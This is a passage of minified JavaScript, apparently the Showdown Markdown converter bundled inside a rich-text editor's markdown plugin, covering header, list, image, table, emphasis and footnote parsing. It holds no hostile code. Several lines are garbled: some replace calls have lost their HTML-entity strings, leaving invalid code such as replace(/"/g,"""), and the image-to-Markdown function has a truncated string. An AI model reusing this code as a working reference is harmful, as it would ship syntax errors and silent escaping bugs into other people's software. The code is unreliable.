\t]*(?=\n{2,}))/g,y.subParser("hashElement")(e,t,i)),e=i.converter._dispatch("hashHTMLBlocks.after",e,t,i)}),y.subParser("hashHTMLSpans",function(e,t,a){function n(e){return"\xa8C"+(a.gHtmlSpans.push(e)-1)+"C"}return e=(e=(e=(e=(e=a.converter._dispatch("hashHTMLSpans.before",e,t,a)).replace(/<[^>]+?\/>/gi,function(e){return n(e)})).replace(/<([^>]+?)>[\s\S]*?<\/\1>/g,function(e){return n(e)})).replace(/<([^>]+?)\s[^>]+?>[\s\S]*?<\/\1>/g,function(e){return n(e)})).replace(/<[^>]+?>/gi,function(e){return n(e)}),e=a.converter._dispatch("hashHTMLSpans.after",e,t,a)}),y.subParser("unhashHTMLSpans",function(e,t,a){e=a.converter._dispatch("unhashHTMLSpans.before",e,t,a);for(var n=0;n<a.gHtmlSpans.length;++n){for(var r=a.gHtmlSpans[n],i=0;/\xa8C(\d+)C/.test(r);){var o=RegExp.$1;if(r=r.replace("\xa8C"+o+"C",a.gHtmlSpans[o]),10===i)break;++i}e=e.replace("\xa8C"+n+"C",r)}return e=a.converter._dispatch("unhashHTMLSpans.after",e,t,a)}),y.subParser("hashPreCodeTags",function(e,i,o){e=o.converter._dispatch("hashPreCodeTags.before",e,i,o);var s=function s(e,t,a,n){var r=a+y.subParser("encodeCode")(t,i,o)+n;return"\n\n\xa8G"+(o.ghCodeBlocks.push({text:e,codeblock:r})-1)+"G\n\n"};return e=y.helper.replaceRecursiveRegExp(e,s,"^ {0,3}<pre\\b[^>]*>\\s*<code\\b[^>]*>","^ {0,3}</code>\\s*</pre>","gim"),e=o.converter._dispatch("hashPreCodeTags.after",e,i,o)}),y.subParser("headers",function(e,l,c){e=c.converter._dispatch("headers.before",e,l,c);var d=isNaN(parseInt(l.headerLevelStart))?1:parseInt(l.headerLevelStart),t=l.smoothLivePreview?/^(.+)[ \t]*\n={2,}[ \t]*\n+/gm:/^(.+)[ \t]*\n=+[ \t]*\n+/gm,a=l.smoothLivePreview?/^(.+)[ \t]*\n-{2,}[ \t]*\n+/gm:/^(.+)[ \t]*\n-+[ \t]*\n+/gm;e=(e=e.replace(t,function(e,t){var a=y.subParser("spanGamut")(t,l,c),n=l.noHeaderId?"":' id="'+f(t)+'"',r="<h"+d+n+">"+a+"</h"+d+">";return y.subParser("hashBlock")(r,l,c)})).replace(a,function(e,t){var a=y.subParser("spanGamut")(t,l,c),n=l.noHeaderId?"":' id="'+f(t)+'"',r=d+1,i="<h"+r+n+">"+a+"</h"+r+">";return y.subParser("hashBlock")(i,l,c)});var n=l.requireSpaceBeforeHeadingText?/^(#{1,6})[ \t]+(.+?)[ \t]*#*\n+/gm:/^(#{1,6})[ \t]*(.+?)[ \t]*#*\n+/gm;function f(e){var t,a;if(l.customizedHeaderId){var n=e.match(/\{([^{]+?)}\s*$/);n&&n[1]&&(e=n[1])}return t=e,a=y.helper.isString(l.prefixHeaderId)?l.prefixHeaderId:!0===l.prefixHeaderId?"section-":"",l.rawPrefixHeaderId||(t=a+t),t=l.ghCompatibleHeaderId?t.replace(/ /g,"-").replace(/&/g,"").replace(/\xa8T/g,"").replace(/\xa8D/g,"").replace(/[&+$,\/:;=?@"#{}|^\xa8~\[\]`\\*)(%.!'<>]/g,"").toLowerCase():l.rawHeaderId?t.replace(/ /g,"-").replace(/&/g,"&").replace(/\xa8T/g,"\xa8").replace(/\xa8D/g,"$").replace(/["']/g,"-").toLowerCase():t.replace(/[^\w]/g,"").toLowerCase(),l.rawPrefixHeaderId&&(t=a+t),c.hashLinkCounts[t]?t=t+"-"+c.hashLinkCounts[t]++:c.hashLinkCounts[t]=1,t}return e=e.replace(n,function(e,t,a){var n=a;l.customizedHeaderId&&(n=a.replace(/\s?\{([^{]+?)}\s*$/,""));var r=y.subParser("spanGamut")(n,l,c),i=l.noHeaderId?"":' id="'+f(a)+'"',o=d-1+t.length,s="<h"+o+i+">"+r+"</h"+o+">";return y.subParser("hashBlock")(s,l,c)}),e=c.converter._dispatch("headers.after",e,l,c)}),y.subParser("horizontalRule",function(e,t,a){e=a.converter._dispatch("horizontalRule.before",e,t,a);var n=y.subParser("hashBlock")("<hr />",t,a);return e=(e=(e=e.replace(/^ {0,2}( ?-){3,}[ \t]*$/gm,n)).replace(/^ {0,2}( ?\*){3,}[ \t]*$/gm,n)).replace(/^ {0,2}( ?_){3,}[ \t]*$/gm,n),e=a.converter._dispatch("horizontalRule.after",e,t,a)}),y.subParser("images",function(e,t,p){function l(e,t,a,n,r,i,o,s){var l=p.gUrls,c=p.gTitles,d=p.gDimensions;if(a=a.toLowerCase(),s||(s=""),-1<e.search(/\(<?\s*>? ?(['"].*['"])?\)$/m))n="";else if(""===n||null===n){if(""!==a&&null!==a||(a=t.toLowerCase().replace(/ ?\n/g," ")),n="#"+a,y.helper.isUndefined(l[a]))return e;n=l[a],y.helper.isUndefined(c[a])||(s=c[a]),y.helper.isUndefined(d[a])||(r=d[a].width,i=d[a].height)}t=t.replace(/"/g,""").replace(y.helper.regexes.asteriskDashAndColon,y.helper.escapeCharactersCallback);var f='<img src="'+(n=n.replace(y.helper.regexes.asteriskDashAndColon,y.helper.escapeCharactersCallback))+'" alt="'+t+'"';return s&&y.helper.isString(s)&&(f+=' title="'+(s=s.replace(/"/g,""").replace(y.helper.regexes.asteriskDashAndColon,y.helper.escapeCharactersCallback))+'"'),r&&i&&(f+=' width="'+(r="*"===r?"auto":r)+'"',f+=' height="'+(i="*"===i?"auto":i)+'"'),f+=" />"}return e=(e=(e=(e=(e=(e=p.converter._dispatch("images.before",e,t,p)).replace(/!\[([^\]]*?)] ?(?:\n *)?\[([\s\S]*?)]()()()()()/g,l)).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g,function c(e,t,a,n,r,i,o,s){return l(e,t,a,n=n.replace(/\s/g,""),r,i,0,s)})).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<([^>]*)>(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(?:(["'])([^"]*?)\6))?[ \t]?\)/g,l)).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g,l)).replace(/!\[([^\[\]]+)]()()()()()/g,l),e=p.converter._dispatch("images.after",e,t,p)}),y.subParser("italicsAndBold",function(e,t,a){function n(e,t,a){return t+e+a}return e=a.converter._dispatch("italicsAndBold.before",e,t,a),e=t.literalMidWordUnderscores?(e=(e=e.replace(/\b___(\S[\s\S]*?)___\b/g,function(e,t){return n(t,"<strong><em>","</em></strong>")})).replace(/\b__(\S[\s\S]*?)__\b/g,function(e,t){return n(t,"<strong>","</strong>")})).replace(/\b_(\S[\s\S]*?)_\b/g,function(e,t){return n(t,"<em>","</em>")}):(e=(e=e.replace(/___(\S[\s\S]*?)___/g,function(e,t){return/\S$/.test(t)?n(t,"<strong><em>","</em></strong>"):e})).replace(/__(\S[\s\S]*?)__/g,function(e,t){return/\S$/.test(t)?n(t,"<strong>","</strong>"):e})).replace(/_([^\s_][\s\S]*?)_/g,function(e,t){return/\S$/.test(t)?n(t,"<em>","</em>"):e}),e=t.literalMidWordAsterisks?(e=(e=e.replace(/([^*]|^)\B\*\*\*(\S[\s\S]*?)\*\*\*\B(?!\*)/g,function(e,t,a){return n(a,t+"<strong><em>","</em></strong>")})).replace(/([^*]|^)\B\*\*(\S[\s\S]*?)\*\*\B(?!\*)/g,function(e,t,a){return n(a,t+"<strong>","</strong>")})).replace(/([^*]|^)\B\*(\S[\s\S]*?)\*\B(?!\*)/g,function(e,t,a){return n(a,t+"<em>","</em>")}):(e=(e=e.replace(/\*\*\*(\S[\s\S]*?)\*\*\*/g,function(e,t){return/\S$/.test(t)?n(t,"<strong><em>","</em></strong>"):e})).replace(/\*\*(\S[\s\S]*?)\*\*/g,function(e,t){return/\S$/.test(t)?n(t,"<strong>","</strong>"):e})).replace(/\*([^\s*][\s\S]*?)\*/g,function(e,t){return/\S$/.test(t)?n(t,"<em>","</em>"):e}),e=a.converter._dispatch("italicsAndBold.after",e,t,a)}),y.subParser("lists",function(e,p,d){function u(e,t){d.gListLevel++,e=e.replace(/\n{2,}$/,"\n");var a=/(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(\xa80| {0,3}([*+-]|\d+[.])[ \t]+))/gm,c=/\n[ \t]*\n(?!\xa80)/.test(e+="\xa80");return p.disableForced4SpacesIndentedSublists&&(a=/(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(\xa80|\2([*+-]|\d+[.])[ \t]+))/gm),e=(e=e.replace(a,function(e,t,a,n,r,i,o){o=o&&""!==o.trim();var s=y.subParser("outdent")(r,p,d),l="";return i&&p.tasklists&&(l=' class="task-list-item" style="list-style-type: none;"',s=s.replace(/^[ \t]*\[(x|X| )?]/m,function(){var e='<input type="checkbox" disabled style="margin: 0px 0.35em 0.25em -1.6em; vertical-align: middle;"';return o&&(e+=" checked"),e+=">"})),s=s.replace(/^([-*+]|\d\.)[ \t]+[\S\n ]*/g,function(e){return"\xa8A"+e}),s="<li"+l+">"+(s=(s=t||-1<s.search(/\n{2,}/)?(s=y.subParser("githubCodeBlocks")(s,p,d),y.subParser("blockGamut")(s,p,d)):(s=(s=y.subParser("lists")(s,p,d)).replace(/\n$/,""),s=(s=y.subParser("hashHTMLBlocks")(s,p,d)).replace(/\n\n+/g,"\n\n"),c?y.subParser("paragraphs")(s,p,d):y.subParser("spanGamut")(s,p,d))).replace("\xa8A",""))+"</li>\n"})).replace(/\xa80/g,""),d.gListLevel--,t&&(e=e.replace(/\s+$/,"")),e}function g(e,t){if("ol"===t){var a=e.match(/^ *(\d+)\./);if(a&&"1"!==a[1])return' start="'+a[1]+'"'}return""}function h(e){return"ul"===e?' style="list-style: disc !important;padding: 0px 0px 0px 40px !important;"':' style="list-style: decimal !important;padding: 0px 0px 0px 40px !important;"'}function r(n,r,i){var o=p.disableForced4SpacesIndentedSublists?/^ ?\d+\.[ \t]/gm:/^ {0,3}\d+\.[ \t]/gm,s=p.disableForced4SpacesIndentedSublists?/^ ?[*+-][ \t]/gm:/^ {0,3}[*+-][ \t]/gm,l="ul"===r?o:s,c="",d=h(r);if(-1!==n.search(l))!function f(e){var t=e.search(l),a=g(n,r);d=h(r),-1!==t?(c+="\n\n<"+r+d+a+">\n"+u(e.slice(0,t),!!i)+"</"+r+">\n",l="ul"===(r="ul"===r?"ol":"ul")?o:s,f(e.slice(t))):c+="\n\n<"+r+d+a+">\n"+u(e,!!i)+"</"+r+">\n"}(n);else{var e=g(n,r);c="\n\n<"+r+d+e+">\n"+u(n,!!i)+"</"+r+">\n"}return c}return e=d.converter._dispatch("lists.before",e,p,d),e+="\xa80",e=(e=d.gListLevel?e.replace(/^(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(\xa80|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,function(e,t,a){return r(t,-1<a.search(/[*+-]/g)?"ul":"ol",!0)}):e.replace(/(\n\n|^\n?)(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(\xa80|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,function(e,t,a,n){return r(a,-1<n.search(/[*+-]/g)?"ul":"ol",!1)})).replace(/\xa80/,""),e=d.converter._dispatch("lists.after",e,p,d)}),y.subParser("metadata",function(e,t,n){if(!t.metadata)return e;function r(e){(e=(e=(n.metadata.raw=e).replace(/&/g,"&").replace(/"/g,""")).replace(/\n {4}/g," ")).replace(/^([\S ]+): +([\s\S]+?)$/gm,function(e,t,a){return n.metadata.parsed[t]=a,""})}return e=(e=(e=(e=n.converter._dispatch("metadata.before",e,t,n)).replace(/^\s*\xab\xab\xab+(\S*?)\n([\s\S]+?)\n\xbb\xbb\xbb+\n/,function(e,t,a){return r(a),"\xa8M"})).replace(/^\s*---+(\S*?)\n([\s\S]+?)\n---+\n/,function(e,t,a){return t&&(n.metadata.format=t),r(a),"\xa8M"})).replace(/\xa8M/g,""),e=n.converter._dispatch("metadata.after",e,t,n)}),y.subParser("outdent",function(e,t,a){return e=(e=(e=a.converter._dispatch("outdent.before",e,t,a)).replace(/^(\t|[ ]{1,4})/gm,"\xa80")).replace(/\xa80/g,""),e=a.converter._dispatch("outdent.after",e,t,a)}),y.subParser("paragraphs",function(e,t,a){for(var n=(e=(e=(e=a.converter._dispatch("paragraphs.before",e,t,a)).replace(/^\n+/g,"")).replace(/\n+$/g,"")).split(/\n{2,}/g),r=[],i=n.length,o=0;o<i;o++){var s=n[o];0<=s.search(/\xa8(K|G)(\d+)\1/g)?r.push(s):0<=s.search(/\S/)&&(s=(s=y.subParser("spanGamut")(s,t,a)).replace(/^([ \t]*)/g,"<p>"),s+="</p>",r.push(s))}for(i=r.length,o=0;o<i;o++){for(var l="",c=r[o],d=!1;/\xa8(K|G)(\d+)\1/.test(c);){var f=RegExp.$1,p=RegExp.$2;l=(l="K"===f?a.gHtmlBlocks[p]:d?y.subParser("encodeCode")(a.ghCodeBlocks[p].text,t,a):a.ghCodeBlocks[p].codeblock).replace(/\$/g,"$$$$"),c=c.replace(/(\n\n)?\xa8(K|G)\d+\2(\n\n)?/,l),/^<pre\b[^>]*>\s*<code\b[^>]*>/.test(c)&&(d=!0)}r[o]=c}return e=(e=(e=r.join("\n")).replace(/^\n+/g,"")).replace(/\n+$/g,""),a.converter._dispatch("paragraphs.after",e,t,a)}),y.subParser("runExtension",function(e,t,a,n){if(e.filter)t=e.filter(t,n.converter,a);else if(e.regex){var r=e.regex;r instanceof RegExp||(r=new RegExp(r,"g")),t=t.replace(r,e.replace)}return t}),y.subParser("spanGamut",function(e,t,a){return e=a.converter._dispatch("spanGamut.before",e,t,a),e=y.subParser("codeSpans")(e,t,a),e=y.subParser("escapeSpecialCharsWithinTagAttributes")(e,t,a),e=y.subParser("encodeBackslashEscapes")(e,t,a),e=y.subParser("images")(e,t,a),e=y.subParser("anchors")(e,t,a),e=y.subParser("autoLinks")(e,t,a),e=y.subParser("simplifiedAutoLinks")(e,t,a),e=y.subParser("emoji")(e,t,a),e=y.subParser("underline")(e,t,a),e=y.subParser("italicsAndBold")(e,t,a),e=y.subParser("strikethrough")(e,t,a),e=y.subParser("ellipsis")(e,t,a),e=y.subParser("hashHTMLSpans")(e,t,a),e=y.subParser("encodeAmpsAndAngles")(e,t,a),t.simpleLineBreaks?/\n\n\xa8K/.test(e)||(e=e.replace(/\n+/g,"<br />\n")):e=e.replace(/ +\n/g,"<br />\n"),e=a.converter._dispatch("spanGamut.after",e,t,a)}),y.subParser("strikethrough",function(e,n,r){return n.strikethrough&&(e=(e=r.converter._dispatch("strikethrough.before",e,n,r)).replace(/(?:~){2}([\s\S]+?)(?:~){2}/g,function(e,t){return function a(e){return n.simplifiedAutoLink&&(e=y.subParser("simplifiedAutoLinks")(e,n,r)),"<del>"+e+"</del>"}(t)}),e=r.converter._dispatch("strikethrough.after",e,n,r)),e}),y.subParser("stripLinkDefinitions",function(e,s,l){var c=function c(e,t,a,n,r,i,o){return t=t.toLowerCase(),a.match(/^data:.+?\/.+?;base64,/)?l.gUrls[t]=a.replace(/\s/g,""):l.gUrls[t]=y.subParser("encodeAmpsAndAngles")(a,s,l),i?i+o:(o&&(l.gTitles[t]=o.replace(/"|'/g,""")),s.parseImgDimensions&&n&&r&&(l.gDimensions[t]={width:n,height:r}),"")};return e=(e=(e=(e+="\xa80").replace(/^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n\n|(?=\xa80)|(?=\n\[))/gm,c)).replace(/^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?([^>\s]+)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n+|(?=\xa80))/gm,c)).replace(/\xa80/,"")}),y.subParser("tables",function(e,v,b){if(!v.tables)return e;function t(e){var t,a=e.split("\n");for(t=0;t<a.length;++t)/^ {0,3}\|/.test(a[t])&&(a[t]=a[t].replace(/^ {0,3}\|/,"")),/\|[ \t]*$/.test(a[t])&&(a[t]=a[t].replace(/\|[ \t]*$/,"")),a[t]=y.subParser("codeSpans")(a[t],v,b);var n,r,i,o,s,l=a[0].split("|").map(function(e){return e.trim()}),c=a[1].split("|").map(function(e){return e.trim()}),d=[],f=[],p=[],u=[];for(a.shift(),a.shift(),t=0;t<a.length;++t)""!==a[t].trim()&&d.push(a[t].split("|").map(function(e){return e.trim()}));if(l.length<c.length)return e;for(t=0;t<c.length;++t)p.push((n=c[t],/^:[ \t]*--*$/.test(n)?' style="text-align:left;"':/^--*[ \t]*:[ \t]*$/.test(n)?' style="text-align:right;"':/^:[ \t]*--*[ \t]*:$/.test(n)?' style="text-align:center;"':""));for(t=0;t<l.length;++t)y.helper.isUndefined(p[t])&&(p[t]=""),f.push((r=l[t],i=p[t],o=void 0,o="",r=r.trim(),(v.tablesHeaderId||v.tableHeaderId)&&(o=' id="'+r.replace(/ /g,"_").toLowerCase()+'"'),"<th"+o+i+">"+(r=y.subParser("spanGamut")(r,v,b))+"</th>\n"));for(t=0;t<d.length;++t){for(var g=[],h=0;h<f.length;++h)y.helper.isUndefined(d[t][h]),g.push((s=d[t][h],"<td"+p[h]+">"+y.subParser("spanGamut")(s,v,b)+"</td>\n"));u.push(g)}return function m(e,t){for(var a="<table>\n<thead>\n<tr>\n",n=e.length,r=0;r<n;++r)a+=e[r];for(a+="</tr>\n</thead>\n<tbody>\n",r=0;r<t.length;++r){a+="<tr>\n";for(var i=0;i<n;++i)a+=t[r][i];a+="</tr>\n"}return a+="</tbody>\n</table>\n"}(f,u)}return e=(e=(e=(e=b.converter._dispatch("tables.before",e,v,b)).replace(/\\(\|)/g,y.helper.escapeCharactersCallback)).replace(/^ {0,3}\|?.+\|.+\n {0,3}\|?[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*:?[ \t]*(?:[-=]){2,}[\s\S]+?(?:\n\n|\xa80)/gm,t)).replace(/^ {0,3}\|.+\|[ \t]*\n {0,3}\|[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*\n( {0,3}\|.+\|[ \t]*\n)*(?:\n|\xa80)/gm,t),e=b.converter._dispatch("tables.after",e,v,b)}),y.subParser("underline",function(e,t,a){return t.underline?(e=a.converter._dispatch("underline.before",e,t,a),e=(e=t.literalMidWordUnderscores?(e=e.replace(/\b___(\S[\s\S]*?)___\b/g,function(e,t){return"<u>"+t+"</u>"})).replace(/\b__(\S[\s\S]*?)__\b/g,function(e,t){return"<u>"+t+"</u>"}):(e=e.replace(/___(\S[\s\S]*?)___/g,function(e,t){return/\S$/.test(t)?"<u>"+t+"</u>":e})).replace(/__(\S[\s\S]*?)__/g,function(e,t){return/\S$/.test(t)?"<u>"+t+"</u>":e})).replace(/(_)/g,y.helper.escapeCharactersCallback),e=a.converter._dispatch("underline.after",e,t,a)):e}),y.subParser("unescapeSpecialChars",function(e,t,a){return e=(e=a.converter._dispatch("unescapeSpecialChars.before",e,t,a)).replace(/\xa8E(\d+)E/g,function(e,t){var a=parseInt(t);return String.fromCharCode(a)}),e=a.converter._dispatch("unescapeSpecialChars.after",e,t,a)}),y.subParser("makeMarkdown.blockquote",function(e,t){var a="";if(e.hasChildNodes())for(var n=e.childNodes,r=n.length,i=0;i<r;++i){var o=y.subParser("makeMarkdown.node")(n[i],t);""!==o&&(a+=o)}return a="> "+(a=a.trim()).split("\n").join("\n> ")}),y.subParser("makeMarkdown.codeBlock",function(e,t){var a=e.getAttribute("language"),n=e.getAttribute("precodenum");return"```"+a+"\n"+t.preList[n]+"\n```"}),y.subParser("makeMarkdown.codeSpan",function(e){return"`"+e.innerHTML+"`"}),y.subParser("makeMarkdown.emphasis",function(e,t){var a="";if(e.hasChildNodes()){a+="*";for(var n=e.childNodes,r=n.length,i=0;i<r;++i)a+=y.subParser("makeMarkdown.node")(n[i],t);a+="*"}return a}),y.subParser("makeMarkdown.header",function(e,t,a){var n=new Array(a+1).join("#"),r="";if(e.hasChildNodes()){r=n+" ";for(var i=e.childNodes,o=i.length,s=0;s<o;++s)r+=y.subParser("makeMarkdown.node")(i[s],t)}return r}),y.subParser("makeMarkdown.hr",function(){return"---"}),y.subParser("makeMarkdown.image",function(e){var t="";return e.hasAttribute("src")&&(t+="+">",e.hasAttribute("width")&&e.hasAttribute("height")&&(t+=" ="+e.getAttribute("width")+"x"+e.getAttribute("height")),e.hasAttribute("title")&&(t+=' "'+e.getAttribute("title")+'"'),t+=")"),t}),y.subParser("makeMarkdown.links",function(e,t){var a="";if(e.hasChildNodes()&&e.hasAttribute("href")){var n=e.childNodes,r=n.length;a="[";for(var i=0;i<r;++i)a+=y.subParser("makeMarkdown.node")(n[i],t);a+="](",a+="<"+e.getAttribute("href")+">",e.hasAttribute("title")&&(a+=' "'+e.getAttribute("title")+'"'),a+=")"}return a}),y.subParser("makeMarkdown.list",function(e,t,a){var n="";if(!e.hasChildNodes())return"";for(var r=e.childNodes,i=r.length,o=e.getAttribute("start")||1,s=0;s<i;++s)if("undefined"!=typeof r[s].tagName&&"li"===r[s].tagName.toLowerCase()){n+=("ol"===a?o.toString()+". ":"- ")+y.subParser("makeMarkdown.listItem")(r[s],t),++o}return(n+="\n\x3c!-- --\x3e\n").trim()}),y.subParser("makeMarkdown.listItem",function(e,t){for(var a="",n=e.childNodes,r=n.length,i=0;i<r;++i)a+=y.subParser("makeMarkdown.node")(n[i],t);return/\n$/.test(a)?a=a.split("\n").join("\n ").replace(/^ {4}$/gm,"").replace(/\n\n+/g,"\n\n"):a+="\n",a}),y.subParser("makeMarkdown.node",function(e,t,a){a=a||!1;var n="";if(3===e.nodeType)return y.subParser("makeMarkdown.txt")(e,t);if(8===e.nodeType)return"\x3c!--"+e.data+"--\x3e\n\n";if(1!==e.nodeType)return"";switch(e.tagName.toLowerCase()){case"h1":a||(n=y.subParser("makeMarkdown.header")(e,t,1)+"\n\n");break;case"h2":a||(n=y.subParser("makeMarkdown.header")(e,t,2)+"\n\n");break;case"h3":a||(n=y.subParser("makeMarkdown.header")(e,t,3)+"\n\n");break;case"h4":a||(n=y.subParser("makeMarkdown.header")(e,t,4)+"\n\n");break;case"h5":a||(n=y.subParser("makeMarkdown.header")(e,t,5)+"\n\n");break;case"h6":a||(n=y.subParser("makeMarkdown.header")(e,t,6)+"\n\n");break;case"p":a||(n=y.subParser("makeMarkdown.paragraph")(e,t)+"\n\n");break;case"blockquote":a||(n=y.subParser("makeMarkdown.blockquote")(e,t)+"\n\n");break;case"hr":a||(n=y.subParser("makeMarkdown.hr")(e,t)+"\n\n");break;case"ol":a||(n=y.subParser("makeMarkdown.list")(e,t,"ol")+"\n\n");break;case"ul":a||(n=y.subParser("makeMarkdown.list")(e,t,"ul")+"\n\n");break;case"precode":a||(n=y.subParser("makeMarkdown.codeBlock")(e,t)+"\n\n");break;case"pre":a||(n=y.subParser("makeMarkdown.pre")(e,t)+"\n\n");break;case"table":a||(n=y.subParser("makeMarkdown.table")(e,t)+"\n\n");break;case"code":n=y.subParser("makeMarkdown.codeSpan")(e,t);break;case"em":case"i":n=y.subParser("makeMarkdown.emphasis")(e,t);break;case"strong":case"b":n=y.subParser("makeMarkdown.strong")(e,t);break;case"del":n=y.subParser("makeMarkdown.strikethrough")(e,t);break;case"a":n=y.subParser("makeMarkdown.links")(e,t);break;case"img":n=y.subParser("makeMarkdown.image")(e,t);break;default:n=e.outerHTML+"\n\n"}return n}),y.subParser("makeMarkdown.paragraph",function(e,t){var a="";if(e.hasChildNodes())for(var n=e.childNodes,r=n.length,i=0;i<r;++i)a+=y.subParser("makeMarkdown.node")(n[i],t);return a=a.trim()}),y.subParser("makeMarkdown.pre",function(e,t){var a=e.getAttribute("prenum");return"<pre>"+t.preList[a]+"</pre>"}),y.subParser("makeMarkdown.strikethrough",function(e,t){var a="";if(e.hasChildNodes()){a+="~~";for(var n=e.childNodes,r=n.length,i=0;i<r;++i)a+=y.subParser("makeMarkdown.node")(n[i],t);a+="~~"}return a}),y.subParser("makeMarkdown.strong",function(e,t){var a="";if(e.hasChildNodes()){a+="**";for(var n=e.childNodes,r=n.length,i=0;i<r;++i)a+=y.subParser("makeMarkdown.node")(n[i],t);a+="**"}return a}),y.subParser("makeMarkdown.table",function(e,t){var a,n,r="",i=[[],[]],o=e.querySelectorAll("thead>tr>th"),s=e.querySelectorAll("tbody>tr");for(a=0;a<o.length;++a){var l=y.subParser("makeMarkdown.tableCell")(o[a],t),c="---";if(o[a].hasAttribute("style"))switch(o[a].getAttribute("style").toLowerCase().replace(/\s/g,"")){case"text-align:left;":c=":---";break;case"text-align:right;":c="---:";break;case"text-align:center;":c=":---:"}i[0][a]=l.trim(),i[1][a]=c}for(a=0;a<s.length;++a){var d=i.push([])-1,f=s[a].getElementsByTagName("td");for(n=0;n<o.length;++n){var p=" ";"undefined"!=typeof f[n]&&(p=y.subParser("makeMarkdown.tableCell")(f[n],t)),i[d].push(p)}}var u=3;for(a=0;a<i.length;++a)for(n=0;n<i[a].length;++n){var g=i[a][n].length;u<g&&(u=g)}for(a=0;a<i.length;++a){for(n=0;n<i[a].length;++n)1===a?":"===i[a][n].slice(-1)?i[a][n]=y.helper.padEnd(i[a][n].slice(-1),u-1,"-")+":":i[a][n]=y.helper.padEnd(i[a][n],u,"-"):i[a][n]=y.helper.padEnd(i[a][n],u);r+="| "+i[a].join(" | ")+" |\n"}return r.trim()}),y.subParser("makeMarkdown.tableCell",function(e,t){var a="";if(!e.hasChildNodes())return"";for(var n=e.childNodes,r=n.length,i=0;i<r;++i)a+=y.subParser("makeMarkdown.node")(n[i],t,!0);return a.trim()}),y.subParser("makeMarkdown.txt",function(e){var t=e.nodeValue;return t=(t=t.replace(/ +/g," ")).replace(/\xa8NBSP;/g," "),t=(t=(t=(t=(t=(t=(t=(t=(t=y.helper.unescapeHTMLEntities(t)).replace(/([*_~|`])/g,"\\$1")).replace(/^(\s*)>/g,"\\$1>")).replace(/^#/gm,"\\#")).replace(/^(\s*)([-=]{3,})(\s*)$/,"$1\\$2$3")).replace(/^( {0,3}\d+)\./gm,"$1\\.")).replace(/^( {0,3})([+-])/gm,"$1\\$2")).replace(/]([\s]*)\(/g,"\\]$1\\(")).replace(/^ {0,3}\[([\S \t]*?)]:/gm,"\\[$1]:")}),St.PLUGINS.markdown=function(o){var s,l,a,n,r,c=o.$,i=!1,d="",f="",p="",u="",g=[],h=[],m="",v=null,b=null;function E(e){e=function u(e){var t=e,a=e.match(/(\[\^(.+?)\])[^:]/g),n=e.match(/(\[\^(.+?)\]:)/g);if(a&&n){a.forEach(function(e,t,a){a[t]=a[t].substring(0,a[t].length-1)}),a=a.filter(function(e,t){return a.indexOf(e)===t}),n=n.filter(function(e,t){return n.indexOf(e)===t});for(var r=1,i=0;i<a.length;i++){var o="";if(1==r&&(o='<hr class="footnote-sep"><ol>'),-1<n.indexOf(a[i]+":")){for(var s=-1<(t=(t=t.split(n[i]).join("{ftnt-plc}")).replace(n[i].substring(0,n[i].length-1),'<sup id="fnref:'.concat(r,'"><a href="#fn:').concat(r,'" class="footnote-a">').concat(r,"</a></sup>"))).indexOf(a[i])?1:0,l=0;s&&(l++,t=t.replace(n[i].substring(0,n[i].length-1),'<sup id="fnref:'.concat(r,":").concat(l,'"><a href="#fn:').concat(r,":").concat(l,'" class="footnote-a">').concat(r,":").concat(l,"</a></sup>")),s=-1<t.indexOf(a[i])?1:0););var c=(t=t.split("{ftnt-plc}").join(n[i])).indexOf(n[i]),d=t,f=d.substring(c,d.length-1);if(f=f.split("\n")[0],t=t.replace(f,""),-1<f.indexOf(": ")){f=f.split(": ")[1],f+='<a href="#fnref:'.concat(r,'" class="footnote-a">\u21a9</a>');for(var p=l;0!=l;)f+='<a href="#fnref:'.concat(r,":").concat(p-l+1,'" class="footnote-a">\u21a9</a>'),l--;f+="</p></li>",t=t+o+'<li id="fn:'.concat(r,'"><p>')+f,r++}}}1!=r&&(t+="</ol>")}return e=t}(e=function s(e){for(var t=/^[A-Za-z0-9]/g,a=/^:[ 